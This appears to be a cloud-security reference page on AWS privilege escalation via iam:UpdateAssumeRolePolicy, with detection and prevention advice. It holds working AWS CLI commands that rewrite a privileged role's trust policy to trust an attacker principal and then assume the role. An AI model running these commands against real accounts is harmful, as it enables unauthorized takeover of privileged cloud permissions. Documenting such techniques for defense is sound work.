iam:UpdateAssumeRolePolicy Privilege Escalation

iam:UpdateAssumeRolePolicy rewrites a role’s trust policy — the document that decides who may assume it. An attacker can point a privileged role’s trust policy at their own principal, then assume the role and take on its permissions.

Permissions an attacker needs

iam:UpdateAssumeRolePolicy
sts:AssumeRole

How the escalation works

The attacker identifies a role with more permissions than they have.
They overwrite that role’s trust policy to allow their own user or role as a trusted principal.
They call sts:AssumeRole and operate with the privileged role’s permissions.

Example vulnerable policy

A policy like this grants the dangerous permission. Paste your own policy into the free AI-Powered IAM analyzer to see if you are exposed.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:UpdateAssumeRolePolicy",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    }
  ]
}

Example exploitation

For illustration only — run against accounts you own or are authorized to test.

aws iam update-assume-role-policy \
  --role-name privileged-role \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123456789012:user/attacker"},"Action":"sts:AssumeRole"}]}'
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/privileged-role --role-session-name esc

How to detect and prevent it

Scope iam:UpdateAssumeRolePolicy to specific, non-privileged role ARNs only.
Apply a permissions boundary so an assumed role’s effective permissions cannot exceed it.
Alert on UpdateAssumeRolePolicy in CloudTrail; trust-policy changes on privileged roles are high-signal.

FAQ

How is this different from PassRole-based escalation?

PassRole hands an existing role to a service; UpdateAssumeRolePolicy changes who is allowed to assume a role directly. Both end with the attacker holding a more privileged role, but the trust-policy rewrite is detectable as a distinct CloudTrail event.

Related escalation methods

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